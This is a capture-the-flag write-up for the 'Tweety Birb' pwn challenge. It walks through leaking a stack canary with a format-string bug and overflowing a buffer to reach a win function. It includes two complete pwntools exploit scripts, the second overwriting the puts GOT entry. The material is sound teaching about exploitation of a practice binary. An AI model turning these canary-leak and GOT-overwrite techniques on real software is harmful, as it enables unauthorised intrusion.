📖
CTF Wiki
  • 🚩Arne's CTF Writeups!
  • 2025
    • TUCTF
      • Forensics - Security Rocks
    • San Diego CTF
      • Crypto - RustSA
      • Misc - Triglot
  • 2024
    • Lexington CTF
      • Misc - a little bit of tomcroppery
    • Imaginary CTF
      • Web - Journal
    • Space Heroes CTF
      • Web - Antikythera
    • HTB Cyber Apocalypse
      • Pwn - Sound of Silence
      • Misc - MultiDigilingual
  • 2023
    • NahamConCTF
      • Mobile - Red Light Green Light
    • BucketCTF
      • Rev - Schematic
      • Rev - Random security
    • HTB Cyber Apocalypse
      • Rev - Cave System
      • Rev - Somewhat Linear
      • Pwn - Void
  • 2022
    • DownUnderCTF 2022
      • Cloud - Jimmy Builds a Kite
    • Ã¥ngstromCTF 2022
      • Pwn - really obnoxious problem
      • Pwn - whatsmyname
    • Engineer CTF
      • Misc - Not really random
      • Misc - Broken Pieces
    • KnightCTF 2022
    • HTB CTF: Dirty Money
      • Forensics - Perseverance
  • 2021
    • MetaCTF CyberGames 2021
    • HTB - Cyber Santa
      • RE - Infiltration
    • Securebug CTF Thor 2021
      • Web - Tricks 1
      • Web - Tricks 2
      • RE - Hidden in Plain Sight
    • TFC CTF 2021
      • RE - Crackity
      • Pwn - Jumpy
      • Misc - Weird Friend
    • K3RN3L CTF 2021
      • Crypto - Pascal RSA
    • DamCTF 2021
      • Misc - library-of-babel
      • Pwn - cookie-monster
    • Killer Queen CTF 2021
      • Pwn - Tweety Birb
      • Forensics - Tippy Tappies
      • Pwn - I want to break free
    • BuckeyeCTF 2021
      • Web - pay2win
      • Misc - USB Exfiltration
Powered by GitBook
On this page
  • Description
  • Downloads
  • Solution
  • Bonus
  1. 2021
  2. Killer Queen CTF 2021

Pwn - Tweety Birb

129 solves | 248 points

Last updated 1 year ago

Description

Pretty standard birb protection

Downloads

Solution

First, we decompile the binary using Ghidra and look at the main function.

Checking the symbol tree, we also have a win function that is not called anywhere.

Next, we check the binary security using checksec to see what we can do.

It appears to be a simple buffer overflow. What we want is to ret to an address we control and in this case, we want the program to jump to the win function. There is however, stack canaries enabled but that is not a big issue because there is a format string vulnerability present which would allow us to know the canary value. Bypassing the stack canary is therefore trivial when we are able to leak the canary.

Looking at address 0x4011fe from the disassembler, we know that the canary resides in the RAX register before being pushed to the stack. It is also worth noting that the canary stays the same throughout execution.

Now in gdb, we want to set a breakpoint at the next address (0x401207) so that we can inspect the canary value.

We can see the canary value in RAX with a value of 0x7cdc01e2ddb17a00. Now let's continue execution and see if we can leak the canary manually by exploiting the format string vulnerability.

Since the input[] array is pretty large, we can just manually add the %lx format specifier to leak the stack until we reach the canary. In this case, to leak the canary, we used %lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-. Now that we know how to bypass the canary check, let's build the payload.

payload = b''
payload += 72 * b'A'
payload += p64(hex_canary)
payload += p64(ret)
payload += p64(0x4011de)

From the decompiler, we know that the input char array is 72 bytes and hence, the first 72 bytes of our payload is padded with 'A's. Then, in order to not modify the stack canary, we fill it up with the leaked canary. We then get the address to any ret instruction by using pwntools' ROP object. Finally, we append the address of the system function responsible for printing the flag.

The full exploit script is as such:

from pwn import *

#p = remote('143.198.184.186', 5002)
p = process('./tweetybirb')
context.binary = e = ELF('tweetybirb', checksec=False)

print(p.recvuntil(b'magpies?\n'))
p.sendline(b'%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-')
out = p.recvuntil(b'\n')
print(out)

# Get canary
stack = out.decode().split("-")
canary = stack[-2]
hex_canary = int("0x" + canary,16)
print(hex(hex_canary))

out = p.recvuntil(b'\n')
print(out)

# Get 'ret'
ret = ROP(e).ret.address
print(hex(ret))

payload = b''
payload += 72 * b'A'
payload += p64(hex_canary)
payload += p64(ret)
payload += p64(0x4011de)

p.sendline(payload)

flag = p.recv()
print(flag)

p.close()

Flag: kqctf{tweet_tweet_did_you_leak_or_bruteforce_..._plz_dont_say_you_tried_bruteforce}

Bonus

Read the writeup by hackerbecker after the CTF and realised that pwntools can actually very easily pwn this challenge by using the format string tool to override the puts GOT with the win address. The script is elegantly written as such:

from pwn import *
context.log_level="debug"

elf = ELF("./tweetybirb")
context.arch=elf.arch

def exec_fmt(payload):
    p =  elf.process()
    p.clean()
    p.sendline(payload)
    return p.recvline()

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset #6
p = remote("143.198.184.186", 5002)

p.clean()
payload = fmtstr_payload(offset, {elf.symbols["got.puts"]: elf.symbols["win"]})
p.sendline(payload)
p.interactive()
print(p.clean())

17KB
tweetybirb